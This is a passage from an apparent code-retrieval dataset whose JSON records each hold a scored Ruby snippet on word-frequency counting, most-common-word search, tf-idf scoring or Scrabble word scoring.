freqs[word][index].nil?\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# <= if word doesn't exist yet\n\t\t\t(index - freqs[word].size).times { freqs[word] << 0\t}\t\t\t\t\t\t\t\t\t# <= add a zero for each entry until this one\n\t\t\tfreqs[word] << 1\n\t\telse\n\t\t\tfreqs[word][index] += 1\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# <= otherwise, just increment the count\n\t\tend\n\tend\n\tword_counts[index] += words.size\nend", "title": "" }, { "docid": "e035be0753b612167e49883ee290844f", "score": "0.6123349", "text": "def most_common_word_in_afterthoughts\n arr = self.words_in_afterthoughts\n\n counts= arr.uniq.map { |x| [x, arr.count(x)] }.to_h\n\n most_common = counts.max_by do |word,count|\n count\n end\n\n most_common[0]\n\n end", "title": "" }, { "docid": "fd5bf1972813977563348cba8a6b500e", "score": "0.6050523", "text": "def highestfrequency\r\n #@counts.group_by { |x| x }.map { |element, matches| [ element, matches ] }.to_h\r\n #@counts.each_with_object({}) { |item, memo| memo[item] ||= 0; memo[item] += 1 }\r\n ##@counts.uniq.map { |x| [x, @counts.count(x)] }.to_h\r\n #freq = @counts.inject(Hash.new(0)) { |h,v| h[v] += 1; h }\r\n @counts.max_by { |k,v| v }\r\n end", "title": "" }, { "docid": "836434608396d861a3323ff58f5bb3a9", "score": "0.6050443", "text": "def initialize(content, line_number)\n @content = content\n @line_number = line_number\n @highest_wf_count = 0\n @highest_wf_words = []\n calculate_word_frequency()\n end", "title": "" }, { "docid": "f0057b918a658e1081216e93cd2aaeb7", "score": "0.6036514", "text": "def word_count_engine(document)\n document = document.gsub(/[^ 0-9A-Za-z]/, '').downcase.split(' ')\n\n store = {}\n max = 0\n\n document.each do |element|\n if store[element]\n store[element] += 1\n max = [store[element], max].max\n else\n store[element] = 1\n max = 1 if max == 0\n end\n end\n\n buckets = Array.new(max) { [] }\n\n store.each do |key, value|\n buckets[max - value].push([key, value.to_s])\n end\n\n buckets.flatten(1)\nend", "title": "" }, { "docid": "8066a4b8a65352107e56676dc008567d", "score": "0.6035964", "text": "def word_frequency(text)\n norm_array = normalize(text).to_a\n freq = { }\n norm_array.each_with_object(Hash.new(0)){|key,hash| hash[key] += 1}\nend", "title": "" }, { "docid": "f6758222e51efd0c65347ec54fcca143", "score": "0.6020512", "text": "def max_word_length(words)\n max_length = 0\n words.each do |word|\n word_length = word.entry.length\n max_length = word_length if max_length < word_length\n end\n max_length\nend", "title": "" }, { "docid": "c51f8688a0d6a4954aa4b40bdd36f69d", "score": "0.5982345", "text": "def highest_scoring_word(words)\n sorted_words = words.sort_by { |word| word.length }\n\n possibles = sorted_words.group_by { |word| score(word) }.max[1]\n return possibles.find { |w| w.length == 7 } if possibles.any? { |word| word.length == 7}\n possibles.first\n end", "title": "" }, { "docid": "d8df5db9ebd20568f31c62e9c33cfb81", "score": "0.5914843", "text": "def most_common_word_sequences\n count_sequence_occurrences\n most_common\n end", "title": "" }, { "docid": "503665064560eb4f2f483d295c2d9f71", "score": "0.5894942", "text": "def print_highest_word_frequency_across_lines\n puts \"The following lines have the highest word frequency per line:\"\n end", "title": "" }, { "docid": "b91ee5ca3d0e578328e6463d06f7417c", "score": "0.589472", "text": "def afterthought_most_words\n self.afterthoughts.max_by do |afterthought|\n afterthought.thoughts.length\n end\n end", "title": "" }, { "docid": "6ffbe12069ac6928cbf2a5ea06497a26", "score": "0.58939594", "text": "def highest_word_score\n Scoring.score(highest_scoring_word)\n end", "title": "" }, { "docid": "5f5b9165e4249454c2153525f64be976", "score": "0.5848877", "text": "def word_counter(string)\n array = string.downcase.split(\" \")\n word_count = array.count\n the_count = array.count(\"the\")\n\n # option 1 for getting longest work\n # longest_word = \"\"\n # array.each do |x|\n # longest_word = x if longest_word.length < x.length\n # end\n\n # option 2 for getting longest word\n longest_word = array.max_by { |x| x.length }\n\n puts \"The number of words is #{word_count}, the longest word is #{longest_word}, and 'the' is used #{the_count} times.\"\nend", "title": "" }, { "docid": "f62f91210a1914a38230796468a8290f", "score": "0.5846691", "text": "def word_count\n weighted(:count, :word).to_i\n end", "title": "" }, { "docid": "ba619ad62232b97fcef06ec045692830", "score": "0.5824417", "text": "def frequency_of_each_word(text)\n words = text.split(\" \")\n frequency = Hash.new(0)\n words.each { |word| frequency[word] += 1 }\n frequency\nend", "title": "" }, { "docid": "d2cdd8895ea164fcde453fb12bbf09bf", "score": "0.57803243", "text": "def file_process(file)\n\n stop_words = File.read('stop_words.txt').split(\"\\n\")\n\n lines = File.readlines(file)\n title = lines[0]\n speech = lines[1..-1]\n line_count = speech.size\n text = speech.join\n char_count = text.length\n char_count_nospaces = text.force_encoding('UTF-8').gsub(/\\s+/, '').length\n word_count = text.scan(/\\w+/).length\n sentence_count = text.split(/\\.|\\?|!/).length\n average_words_sentence = word_count / sentence_count\n paragraph_count = text.split(/\\n\\n/).length\n word_frequency_hash = {}\n word_frequency_top = []\n\n text.split().each do |word|\n unless stop_words.include?(word.downcase)\n if word_frequency_hash.has_key?(word.downcase)\n word_frequency_hash[word.downcase] += 1\n else\n word_frequency_hash[word.downcase] = 1\n end\n end\n end\n\n non_fluff_words = (word_frequency_hash.size.to_f / word_count.to_f * 100).to_i\n\n array_of_sentences = text.scan(/[^\\.!?]+[\\.!?]/).map(&:strip).sort_by { |sentence| sentence.length }\n ideal_sentences = array_of_sentences[array_of_sentences.length/3..array_of_sentences.length - array_of_sentences.length/3]\n\n word_frequency = word_frequency_hash.sort_by { |key, value| value}.reverse\n word_frequency.flatten.each_with_index { |word, index| word_frequency_top << word if index.even? }\n\n puts \"#{title}\"\n puts \"#{line_count} lines\"\n puts \"#{char_count} characters\"\n puts \"#{char_count_nospaces} characters excluding spaces\"\n puts \"#{word_count} words\"\n puts \"#{sentence_count} sentences\"\n puts \"#{paragraph_count} paragraphs\"\n puts \"#{average_words_sentence} words per sentence (average)\"\n puts \"#{word_frequency_hash.size} non-fluff words\"\n puts \"roughly #{non_fluff_words} percent non-fluff words.\"\n puts \"Top 10 non-fluff words: #{word_frequency_top.take(10)} top 10 non-fluff words.\"\n puts \"Ideal sentences array: #{ideal_sentences.take(7) }\"\n puts\n puts\n\nend", "title": "" }, { "docid": "e57fc2923337603c720f0c614fdbd251", "score": "0.5760248", "text": "def word_with_most_repeats(sentence)\n words = sentence.split\n\n hash = {}\n\n words.each do |word|\n hash[word] = count_repeats(word)\n end\n\n max = hash.values.max\n\n ties = hash.select {|k, v| v == max }.first.first\n\n\n\n\nend", "title": "" }, { "docid": "8802ad65b05ef8c8abd4f6bb0cb58d11", "score": "0.57483715", "text": "def word_frequency(words)\n frequencies = Hash.new(0)\n words.each do |word|\n frequencies[word] += 1\n end\n frequencies\nend", "title": "" }, { "docid": "a56336f85ade55d7b77dba35a5b1675b", "score": "0.5732817", "text": "def get_word_freq(token)\n lemma = token.is_a?(Token)? token.lemma : token\n word_counts[lemma] || 0\n end", "title": "" }, { "docid": "b7bc09439d6044f53ff32d7d5d8f180b", "score": "0.5729353", "text": "def process\n tokenize(text).each do |word|\n token = TfIdfSimilarity::Token.new word\n if token.valid?\n @term_counts[token.lowercase_filter.classic_filter.to_s] += 1\n end\n end\n @size = term_counts.values.reduce(:+)\n end", "title": "" }, { "docid": "0ff039c70fbe2c0caeb10cbb633b8a42", "score": "0.57250994", "text": "def frequencies\n analyzer = Frequency.call(\n dataset: dataset,\n stemming: stemming,\n block_size: window,\n last_block: :small_last,\n split_across: false,\n progress: ->(p) { progress&.call((p.to_f / 100.0 * 33.0).to_i) }\n )\n\n # Combine all the block hashes, summing the values\n total = analyzer.blocks.size.to_f\n\n base_frequencies = {}\n analyzer.blocks.each_with_index do |b, i|\n progress&.call((i.to_f / total * 16.0).to_i + 33)\n\n b.each_key do |k|\n base_frequencies[k] ||= 0\n base_frequencies[k] += 1\n end\n end\n\n # Get the frequencies of cooccurrence with the word in question\n joint_frequencies = {}\n pairs.each_with_index do |(word, word2_array), i|\n joint_frequencies[word] = {}\n\n analyzer.blocks.each_with_index do |b, j|\n if progress\n p = (i.to_f / pairs.size.to_f) +\n (1 / pairs.size.to_f) * (j.to_f / total.to_f)\n progress.call((p * 17.0).to_i + 49)\n end\n\n next unless b[word]&.>(0)\n\n if word2_array.empty?\n b.each_key do |k|\n joint_frequencies[word][k] ||= 0\n joint_frequencies[word][k] += 1\n end\n else\n word2_array.each do |w|\n if b.key?(w)\n joint_frequencies[word][w] ||= 0\n joint_frequencies[word][w] += 1\n end\n end\n end\n end\n end\n\n [base_frequencies, joint_frequencies, analyzer.blocks.size]\n end", "title": "" }, { "docid": "2448916dcb7cd98b33e4073fb632f175", "score": "0.56976694", "text": "def compute_termfreq(options={})\n return @termfreq if @computed_termfreq\n\n @enum.each do |blob|\n # Skip binary file extensions\n next if blob.binary_mime_type?\n\n # Linguist::FileBlob#generated? can fail\n # with \"invalid byte sequence in UTF-8\"\n begin\n # Skip vendored or generated blobs\n next if blob.vendored? || blob.generated? || blob.language.nil?\n rescue\n next\n end\n\n # Only include programming languages\n if blob.language.type == :programming\n # Skip if lang option is on and this blob is not in the list of specified languages\n next if options[:lang] and not options[:lang].include? blob.language.name\n\n words = []\n\n # Linguist::FileBlob#safe_to_colorize? can similarly fail\n # with \"invalid byte sequence in UTF-8\"\n begin\n if blob.safe_to_colorize?\n words = @parser.parse(CGI.unescapeHTML(blob.colorize()))\n end\n rescue\n next\n end\n \n words.each do |word|\n tokens = @tokenizer.tokenize(word)\n tokens.each do |token|\n @termfreq[token] += 1\n end\n end\n end\n end\n\n @computed_termfreq = true\n\n @termfreq\n end", "title": "" }, { "docid": "ce854b37d529343b988c0433fe00e599", "score": "0.5670864", "text": "def calculate\n document_frequency.each_with_object({}) do |(word, freq), idf|\n idf[word] = Math.log(@corpus.size/freq)\n end\n end", "title": "" }, { "docid": "42f71f9a74a387cfc79ca0bcf005d7e0", "score": "0.56644714", "text": "def calculate_term_frequencies\n results = []\n\n @tokenized_documents.each do |tokens|\n document_result = {}\n tokens[:words].each do |term, count|\n document_result[term] = (count/tokens[:total_count].to_f).round(6)\n end\n\n results << document_result\n end\n\n results\n end", "title": "" }, { "docid": "a2b5f6a09b8a680f9fe8b4154997f78a", "score": "0.56596994", "text": "def get_most_common_words(limit, words_hash)\n pq = PQueue.new(words_hash.to_a) { |a, b| a[1] > b[1] }\n\n ret = Array.new\n limit.times do\n ret.push pq.pop\n end\n\n return ret\n end", "title": "" }, { "docid": "36b93c537e724ea832eb9ef3790476a0", "score": "0.5657718", "text": "def calculate_stats\n # this one gets the anaylyzer\n analyzer_w_most_repeated_word = @analyzers.max_by { |analyzer| analyzer.highest_wf_count }\n #this one gets its highest word count\n @highest_count_across_lines = analyzer_w_most_repeated_word.highest_wf_count\n\n # this one gets all lines that match that highest word count - it will be an array of objects\n # containing one or more objects\n @highest_count_words_across_lines = @analyzers.select { |e| e.highest_wf_count == @highest_count_across_lines }\n\n # return a hash with some useful info\n { top_line: analyzer_w_most_repeated_word, repeat_word_count: @highest_count_across_lines,\n top_line_and_ties: @highest_count_words_across_lines }\n end", "title": "" }, { "docid": "3bdd2dacaafbdc613b06e86eda1d7016", "score": "0.5652207", "text": "def wordMax\n @wordMax\n end", "title": "" }, { "docid": "cc34248be68ab6601586ba2be872feeb", "score": "0.56509906", "text": "def most_common_words(messages)\n\tmost = 0\n\tmost_key = 0\n\tcommon_words = [\"the\",\"and\",\"at\",\"a\",\"is\"]\n\n\tmessages.each_pair do |key,val|\n\t\tcommon_count = 0\n\t\tcommon_words.each{|word| common_count += val.count(\" #{word} \")}\n\n\t\tif common_count > most\n\t\t\tmost = common_count\n\t\t\tmost_key = key\n\t\tend\n\tend\n\n\treturn most_key\nend", "title": "" }, { "docid": "78735155125a222bd5ccb90dc42ec19f", "score": "0.5638747", "text": "def fulltext_word_count\n get_item_data_by_name('FullTextWordCount').to_i\n end", "title": "" }, { "docid": "b6ceada972472b2b0d5e49884da8f80a", "score": "0.56307614", "text": "def main()\n mylist = [\"Perl and Raku belong to the same family.\",\n \"I love Perl.\",\n \"The Perl and Raku Conference.\"\n ]\n puts max_words(mylist)\n\n mylist = [\"The Weekly Challenge.\",\n \"Python is the most popular guest language.\",\n \"Team PWC has over 300 members.\"]\n puts max_words(mylist)\nend", "title": "" }, { "docid": "a2cdbf953b3f34462f19e83b1777251d", "score": "0.5627624", "text": "def document_frequency\n @corpus.each_with_object({}) do |doc, df|\n doc.bag_of_words.keys.each do |word|\n df[word] = (df.fetch(word) { 0.0 }) + 1.0\n end\n end\n end", "title": "" }, { "docid": "046589b60c756d43efb1342b1485ed31", "score": "0.561607", "text": "def initialize(content, line_number)\n @content = content\n @line_number = line_number\n # automatically analyze the line which will populate the highest_wf_* vars\n calculate_word_frequency()\n end", "title": "" }, { "docid": "c071c4661d9831d2848fc27401fca267", "score": "0.5611077", "text": "def good_word(wordlist)\n # letter frequency\n freqs = Hash.new { |h,k| h[k] = 0 }\n wordlist.each do |w|\n w.chars.each { |c| freqs[c] += 1 }\n end\n\n # score = number of unique chars X sum of letter frequencies\n wordlist.max_by do |w|\n chars = w.chars.to_a.uniq\n chars.length * chars.map{|c| freqs[c]}.inject{|sum,n| sum + n}\n end\nend", "title": "" }, { "docid": "dcaa10ebe22292395aa34fd174b6e51a", "score": "0.56041384", "text": "def high(x)\r\n x.split.max_by{|x| score_word(w)} end", "title": "" }, { "docid": "ce849bdd8747a5c253d98c83d8c4eeec", "score": "0.5601572", "text": "def max_position\n @words.first[1].length\n end", "title": "" }, { "docid": "49b2000a6b98e08b948bdd7e2ce19e8f", "score": "0.5598779", "text": "def highest_score_from(words)\n maximum_score = words.map { |word| score_word(word) }.max\n highest = words.select { |word| score_word(word) == maximum_score }\n if highest.length == 1 \n winning_word = highest.first\n else\n highest_lengths = highest.map {|i| i.length}\n if highest_lengths.any? { |x| x == 10}\n index_of_length_10 = highest_lengths.find_index(10)\n winning_word = highest[index_of_length_10]\n else\n winning_word = highest[highest_lengths.find_index(highest_lengths.min)]\n end \n end\n\n results = Hash.new\n results[:score] = maximum_score\n results[:word] = winning_word \n\n return results\nend", "title": "" }, { "docid": "c6a8eb3ffe5e7af5068d4702e4210797", "score": "0.55926096", "text": "def get_idfs(words)\n idfs = Hash[words.map { |w|\n [w, DEFAULT_IDF]\n }]\n \n Corpus.for_language(@language).where(category_id: @category, word: words).each { |result|\n idfs[result.word] = Math.log( num_documents_for(@language, @category) / (result.count.to_f + 1) )\n }\n idfs\n end", "title": "" }, { "docid": "b2383690dfab760a34c3bfb1daaab0b3", "score": "0.5576434", "text": "def highest_word_score\n return Scrabble::Scoring.score(highest_scoring_word)\n end", "title": "" }, { "docid": "cbe990aaeaa36ae58de9dfa807cb399a", "score": "0.557053", "text": "def word_with_most_repeats(sentence)\n result = \"\"\n max = 0\n sentence.split(' ').each do |word| \n repeats = repeat_letter_count(word) \n if repeats > max\n max = repeats\n result = word\n end\n end\n result\nend", "title": "" }, { "docid": "423921f5b9839638057d33afe472091b", "score": "0.5570328", "text": "def word_stats(force_recount = false)\n process_words unless @num_words && @num_words > 0 && force_recount\n {\n :num_words => @num_words,\n :num_sentences => @num_sentences,\n :num_blanks => @num_blanks,\n :num_blanks_by_type => @num_blanks_by_type\n }\n end", "title": "" }, { "docid": "fdae35ad0eef973b9e4146e0ce2981c8", "score": "0.556423", "text": "def get_most_common_words_from_tweets_over_interval(limit, interval)\n puts \"gathering tweets...\"\n words = collect_words_from_tweets_over_interval(interval)\n puts \"calculating most used words...\"\n return get_most_common_words(limit, words)\n end", "title": "" }, { "docid": "3f2c3a09b34dc2d6012f6ebbb29acbe1", "score": "0.55604404", "text": "def frequency(number_of_hours)\n word_count = Word.where(\"name = ? AND story_date > ?\", self, Time.now - number_of_hours.hours).count\n total_words = Word.where(\"story_date > ?\", Time.now - number_of_hours.hours).count\n return word_count.to_f / total_words.to_f\n end", "title": "" }, { "docid": "4cb347b5ea511330132354428a60b8fa", "score": "0.5558484", "text": "def highest_score_from(words)\n\n best_word = {\n word: [],\n score: 0\n }\n\n words.each do |word|\n\n score = score_word(word)\n\n if score > best_word[:score]\n best_word[:word].clear\n best_word[:word] << word\n best_word[:score] = score\n end\n\n if score == best_word[:score]\n best_word[:word] << word\n end\n\n end\n\n # applies rules for ties:\n # - shortest word wins unless there is a 10 letter word\n # - if multiple 10 letter words, the first word wins\n shortest_word = best_word[:word].min_by do |word|\n word.length\n end\n\n all_tiles_words = best_word[:word].select do |word|\n word.length == 10\n end\n\n if all_tiles_words.empty?\n best_word[:word] = shortest_word\n else\n best_word[:word] = all_tiles_words[0]\n end\n\n return best_word\n\nend", "title": "" }, { "docid": "368fe30ed84d80e00eecec7d2b5c5d47", "score": "0.5551191", "text": "def number_of_occurrences(word)\n @frequencies[word]\n end", "title": "" }, { "docid": "50b197899e31d3200bcebd676fa4f05c", "score": "0.5549611", "text": "def term_frequency(document, term)\n tf = document.term_count(term)\n if @function == :bm25\n (tf * 2.2) / (tf + 0.3 + 0.9 * documents.size / @model.average_document_size)\n else\n sqrt(tf)\n end\n end", "title": "" }, { "docid": "2357b8fe55476ed5d2a46747e39b3c85", "score": "0.554579", "text": "def mode(array)\n frequencies = array.each_with_object(Hash.new(0)) { |word, count| count[word] += 1 }\n mode_array = frequencies.select { |frequent_words, frequent_counts| frequent_counts == frequencies.values.max }.keys\n return mode_array\nend", "title": "" }, { "docid": "23ad7a4c084253ddc247c31af13f394e", "score": "0.5540324", "text": "def count_frequency(word_list, counts)\r\n ignore_list = %w[it its she her he him his they them their i me my you your we us our any]\r\n ignore_list += %w[is be been are was were has have had will would can could do did]\r\n ignore_list += %w[what when where which who whom there here that this these]\r\n ignore_list += %w[for by from at with on to of in into out up down upon back all also about]\r\n ignore_list += %w[ms mrs mr miss no not most more than one an the before after yet so if and as but or then]\r\n ignore_list += ('a'..'z').to_a\r\n word_list = word_list - ignore_list\r\n for word in word_list\r\n counts[word] += 1\r\n end\r\n counts\r\n\r\nend", "title": "" }, { "docid": "adc30505d5d39c270bc5893989332963", "score": "0.5532767", "text": "def find_some_number_of_words_by_length(number_of_words, max_length, url)\n page_content = open(url)\n all_lines = page_content.split(\"\\n\")\n formatted_lines = []\n all_lines.each do |line|\n each_line = line.split(\"\\t\")\n word = each_line[0]\n frequency = each_line[1]\n formatted_lines.push([word, frequency])\n end\n\n words_of_max_length = []\n formatted_lines.each do |line|\n word = line[0]\n frequency = line[1]\n if word.length <= max_length && word.length >= 2 && words_of_max_length.length < number_of_words\n words_of_max_length.push(line)\n end\n end\n words_of_max_length\nend", "title": "" }, { "docid": "a1b6f5fbca9907cab9f8bb0a175690ba", "score": "0.55324006", "text": "def word_count_mr\n self.words = Hash[self.class.where(:_id=>self.id).map_reduce(MapReduce::word_count(\"title\"),MapReduce::word_count_reduce).out(inline:1).collect { |x,y| [ x[\"_id\"],x[\"value\"][\"count\"].to_i ] }]\n end", "title": "" }, { "docid": "eb716b9bc02a3c46dc146f2e80418747", "score": "0.5530504", "text": "def count_frequency(word_list)\n\tcounts = Hash.new(0)\n\tfor word in word_list\n\t\tcounts[word] += 1\n\tend\n\tcounts\nend", "title": "" }, { "docid": "33b66cfd45102d18c4014490fd3314b7", "score": "0.5527818", "text": "def most_common(text, length: 3)\n new_instances = word_instances(text).delete_if {|k,v| k.length < length}\n new_instances.max_by {|k,v| v}\nend", "title": "" }, { "docid": "68ec274256740ef74cb7c8655163ab9b", "score": "0.5516246", "text": "def word_sizes2(string)\n frequency = Hash.new(0) #set the default value to 0\n string.split.each do |word| \n frequency[word.length] += 1\n end\n frequency\nend", "title": "" }, { "docid": "de4850d0a8474a589858db19c1a33fc2", "score": "0.55040324", "text": "def count_frecuency(word_list)\n\tcounts = Hash.new(0) #es un hash que estará inicializado en 0, si indexamos en un key que no existe este retornará 0\n\tword_list.each do |word|\n\t\tcounts[word] +=1 #counts[word] es un hash con la clave del item actual, sabiendo que en principio no hay ningun item cuando asigne counts[word] +=1, sumará 1+0 ya que en principio el hash esta inicializado en 0\n \tend\n\tcounts\t\nend", "title": "" }, { "docid": "1bf1133ee640b4e574610af29a5f2e28", "score": "0.5501328", "text": "def most_significant\n most_sig = []\n # if !description.nil?\n # if tags.any?\n # most_sig = tags.select {|tag| self.description.downcase.include?(tag)}.collect {|tag| tag.singularize }\n # else\n # most_sig = word_frequency.keys.select {|tag| self.description.downcase.include?(tag)}.collect {|tag| tag.singularize }\n # end\n # end\n\n description.to_s.split.each do |word|\n self.word_frequency[word] ||= 0\n self.word_frequency[word] += 1\n end\n\n if most_sig.empty?\n most_sig = self.word_frequency.reject {|k,v| v < 3}.keys\n most_sig.flatten!\n end\n\n if description && tags.any?\n tags.each do |tag|\n if description.include?(tag)\n most_sig << tag.singularize\n end\n end\n end\n \n most_sig.uniq!\n\n self.validate_lang\n\n if SiteClassifier.translate_tags?\n begin\n if self.lang == \"auto\"\n @lang = EasyTranslate.detect(most_sig.first, key: SiteClassifier.configuration.google_translate_api_key)\n end\n EasyTranslate.translate(most_sig, from: self.lang, to: :en, key: SiteClassifier.configuration.google_translate_api_key)\n rescue\n return most_sig\n end\n else\n return most_sig\n end\n end", "title": "" }, { "docid": "ff67a499af0198be554e4348236bd06c", "score": "0.54980576", "text": "def mcw(search)\n\t\tif !$bigrams.has_key?(search) # if the search word doesn't exist in the bigram...\n\t\t\tmost_common = nil # we're going to return nil.\n\n\t\telse most_common = $bigrams[search].max_by{|word, number| number}[0] # search for max by # of maxes\n\t\tend\n\n\t\treturn most_common\nend", "title": "" }, { "docid": "c709467a42469c3c1602eac29908844f", "score": "0.54928994", "text": "def highest_scoring_word\n \tScoring.highest_score_from(@words_played)\n end", "title": "" }, { "docid": "840e392c7c7453cb30d597e68812057b", "score": "0.5488074", "text": "def tfidf_classify(desc)\n #get the collections\n @coll = get_connection[\"words_index\"]\n @count_coll = get_connection[\"document_count\"]\n @max_count = get_connection[\"max_count\"]\n\n # clean up description\n desc.downcase!\n desc.gsub! /\\//, ' '\n desc.gsub! /-/, ' '\n desc.gsub! /[^a-zA-Z\\s]/, ''\n desc.strip!\n desc.gsub!(/\\s+/, ' ')\n words = desc.split /\\s/\n\n final_words = []\n\n FFI::Hunspell.dict do |dict|\n desc.split(/\\s/).each do |word|\n if PASSABLE_WORDS.include? word\n final_words << word\n next\n end\n\n next unless Stopwords.valid? word\n\n if dict.check? word\n stems = dict.stem word\n final_words << (dict.stem word).last\n end\n end\n end\n\n words = final_words\n\n # store aggregated tf-idf scores for each code here\n master_index = {}\n\n words.each do |word|\n word_entry = @coll.find_one('word' => word)\n next if word_entry.nil?\n word_row = word_entry[\"codes\"]\n next if word_row.empty?\n\n #Calculate Inverse Document frequency\n count_entry = @count_coll.find_one('word' => word)\n count = count_entry[\"count\"]\n\n quotient = TOTAL_COUNT.to_f / count.to_f + 1\n idf = Math.log(quotient)\n\n #Calculate Term frequency and update tf-idf\n word_row.each do |code, num|\n max_count_entry = @max_count.find_one({\"code\" => code})\n max_count = max_count_entry[\"count\"]\n\n next if max_count == 0\n tf = 0.5 + ((0.5 * num) / max_count)\n tfidf = tf * idf\n next if tfidf == Float::INFINITY\n\n master_index[code] ||= 0\n master_index[code] += tfidf\n end\n\n end\n\n # sort to get top codes\n tf_index = master_index.sort_by {|k,v| -v}\n\n #fix code name formatting\n results = tf_index[0..10].map do |x|\n code_name = x[0].dup\n code_name.gsub!(/code_/,'')\n code_name.insert(5, '.') if code_name.length == 7\n x[0] = code_name\n x\n end\n\n # give just the results\n pruned_results(results.map {|r| r[0]})\n end", "title": "" }, { "docid": "02aacc93670580c8c97a2039d9bf1de0", "score": "0.5475917", "text": "def determine_frequency_term_sets(all_grams, query)\n # only count a result if it has non-0 words length\n effective_length = @gram_collections.reject do |result|\n result.grams.nil? || result.grams.empty?\n end.length\n\n min_cover_l = @min_support * effective_length\n\n # for speed only look at top N grams\n # below block, worst case O(|all_grams|)\n frequent_grams = all_grams.sort do |gram1, gram2|\n gram2.frequency <=> gram1.frequency\n end.first(@num_top_grams)\n\n # below block, worst case O(|frequent_grams| x |gram_collections|)\n frequent_grams = frequent_grams.delete_if do |gram|\n !cover(gram, min_cover_l)\n end\n\n # below block, worst case O(|frequent_grams| x |gram_collections|)\n @gram_collections.reduce(Hash.new(0)) do |top_grams, gram_collection|\n max_fitness = 0\n max_fit = nil\n\n frequent_grams.each do |gram|\n content_frequency = (\n gram_collection.content_to_frequency[gram.content] || 0)\n fitness = content_frequency / gram.frequency.to_f\n gram_collection.fitness[gram.content] = fitness\n\n if fitness > max_fitness\n max_fitness = fitness\n max_fit = gram.content\n end\n end\n\n # puts \"#{max_fit}: #{max_fitness}\"# if DEBUG\n top_grams[max_fit] += 1 if max_fit\n top_grams\n end\n end", "title": "" }, { "docid": "2624038ad4eb21a95fddab30b8d2b246", "score": "0.54672563", "text": "def count_word_occurrences(text = '')\n count = {}\n text.encode(@encoding).downcase.split.each do |word|\n stemmed_word = (@skip_stemming) ? word : word.stem_porter\n unless stopwords.include? stemmed_word\n count[stemmed_word] = count[stemmed_word] ? count[stemmed_word] + 1 : 1\n end\n end\n count\n end", "title": "" }, { "docid": "c2af726026b701451127b4d524b27538", "score": "0.54587495", "text": "def word_count\n @@word_count\n end", "title": "" }, { "docid": "006838332c41d4e076dddb76b9fe94a1", "score": "0.5454157", "text": "def load_words(max=1000)\n return nil unless File.exist?('log/words.dat')\n\n a = []\n File.readlines('log/words.dat').each do |line|\n rank, word = line.strip.split(/\\s+/)\n a << [word, Float(rank)]\n end\n\n a.sort!{ |a, b| b <=> a }\n\n h = {}\n a.each do |(word, rank)|\n h[word] = rank.to_f\n end\n h\n end", "title": "" }, { "docid": "4fdafc9ca2a2c127e30f7693d8f00a04", "score": "0.5453346", "text": "def most_common(text, too_short: 3)\n long_enough = each_word_count(text).delete_if{ |word, count| word.length <= too_short }\n\n long_enough.select do |word, count|\n count == long_enough.values.max\n end\nend", "title": "" }, { "docid": "98a219cffe362b80d306b42f4c7d2b20", "score": "0.5435211", "text": "def highest_word_score\n Scrabble::Scoring.score(Scrabble::Scoring.highest_score_from(@plays_array))\n end", "title": "" }, { "docid": "527b4e6afe592cfc76e7a4e386ac5a36", "score": "0.5430832", "text": "def highest_word_score\n \t@scores_array.max\n end", "title": "" }, { "docid": "8f1a9129b33c9bcda0a6ffce1e45d8bd", "score": "0.54226977", "text": "def run\n load_the_file\n word_frequency\n match_the_word\n end", "title": "" }, { "docid": "70de938a8c81825af417532274bb6bd7", "score": "0.54212487", "text": "def count_words\n Hash.new(0).tap do |word_counts|\n words.each { |word| word_counts[word] += 1 }\n @words_counted = true\n end\n end", "title": "" }, { "docid": "77b9caee90b16c0dfe861c5f18f53c90", "score": "0.541815", "text": "def mcw(word)\n\t\tif $bigrams[word] != nil\n\t\t\tmcw_num = 0\n\t\t\tmcw_key = nil\n\t\t\t# For each key in the biagram count the number of times a word after it occurs\n\t\t\t$bigrams[word].keys.each do |key|\n\t\t\t\tif $bigrams[word][key] > mcw_num\n\t\t\t\t\tmcw_num = $bigrams[word][key]\n\t\t\t\t\tmcw_key = key\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn mcw_key\n\t\tend\n\t\treturn nil\nend", "title": "" }, { "docid": "19520b2531a1b1c1b6baafb04306ee2f", "score": "0.5418", "text": "def occurrences(word)\n @frequencies[word]\n end", "title": "" }, { "docid": "5454ef696fbcb7c65332cac76e8278eb", "score": "0.5415681", "text": "def checkSearchTerms(wordHash, searchTermsArray, documentCounter, resultsHash, wordArray)\n documentCounter;\n documentNumber = \"Document \" + documentCounter.to_s\n searchTermsArray.each do |word|\n resultsHash.merge!(word => { documentNumber => wordHash[word]})\n # need to figure out the frequency based on the wordHash[word] and the wordArray.length\n end\n # puts wordArray.length\n # puts resultsHash\nend", "title": "" }, { "docid": "67d3e0eaf597f6a87584e7f0a338976c", "score": "0.5403785", "text": "def top_weighted(max)\n nsize = necessary_words.size\n sorted_by_weight.take(max - nsize) | necessary_words\n end", "title": "" }, { "docid": "2b3b317e20ea5e7c27363d66ae95d502", "score": "0.5397948", "text": "def faster_frequent_words(text, k)\n # FasterFrequentWords(Text , k)\n # FrequentPatterns ← an empty set\n # FrequencyArray ← ComputingFrequencies(Text, k)\n # maxCount ← maximal value in FrequencyArray\n # for i ←0 to 4**k − 1\n # if FrequencyArray(i) = maxCount\n # Pattern ← NumberToPattern(i, k)\n # add Pattern to the set FrequentPatterns\n # return FrequentPatterns\n\n # Input: A string Text and an integer k.\n # Output: All most frequent k-mers in Text.\n\n # Sample Input:\n # ACGTTGCATGTCGCATGATGCATGAGAGCT\n # 4\n\n # Sample Output:\n # CATG GCAT\n\n frequent_patterns = []\n frequency_array = frequency_array(text, k)\n max_count = 0\n frequency_array.each {|count| max_count = count if count > max_count }\n (0..(4**k - 1)).each do |i|\n if frequency_array[i] == max_count\n pattern = number_to_pattern(i,k)\n frequent_patterns << pattern\n end\n end\n\n return frequent_patterns\n end", "title": "" }, { "docid": "100aec6109d8e46bd51ccd41a1dd5775", "score": "0.53865886", "text": "def number_of_unique_words\n @frequencies.keys.length\n end", "title": "" }, { "docid": "4ebd17d8cf4fdc5cf3abf29e6da5bb76", "score": "0.5381515", "text": "def LetterCountI(str)\n largest_count = 0\n words = str.split(\" \")\n i = 0\n while i < words.length\n if count(words[i]) > largest_count\n largest_count = count(words[i])\n largest_word = words[i]\n end\n i += 1\n end\n if largest_count == 0\n return -1\n else\n return largest_word\n end\nend", "title": "" }, { "docid": "d37bc88a544beb35b14c7ff40c299705", "score": "0.53786695", "text": "def highest_word_score\n return highest_scoring_value = Scrabble::Scoring.score(highest_scoring_word)\n end", "title": "" }, { 